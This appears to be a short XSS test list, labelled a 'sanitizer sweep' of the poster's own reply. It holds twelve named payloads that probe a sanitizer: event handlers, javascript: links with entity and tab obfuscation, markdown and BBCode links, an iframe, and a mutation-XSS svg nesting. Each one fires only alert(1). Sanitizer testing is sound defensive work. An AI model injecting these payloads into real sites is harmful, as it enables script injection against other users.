sanitizer sweep (own reply)
V1-img-onerror: <img src=x onerror=alert(1)>
V2-svg-onload: <svg onload=alert(1)>
V3-a-js: <a href="javascript:alert(1)">x</a>
V4-a-js-entity: <a href="java #115;cript:alert(1)">x</a>
V5-a-js-tab: <a href="jav ascript:alert(1)">x</a>
V6-md-link-js: [click](javascript:alert(1))
V7-md-img-data: 
V8-bbcode-url-js: [url=javascript:alert(1)]x[/url]
V9-iframe: <iframe src="javascript:alert(1)"></iframe>
V10-onmouseover: <b onmouseover=alert(1)>hover</b>
V11-mxss-svg: <svg><p><style><img src=x onerror=alert(1)></style></p></svg>
V12-srcdoc: <img src="x" srcdoc="<script>alert(1)</script>">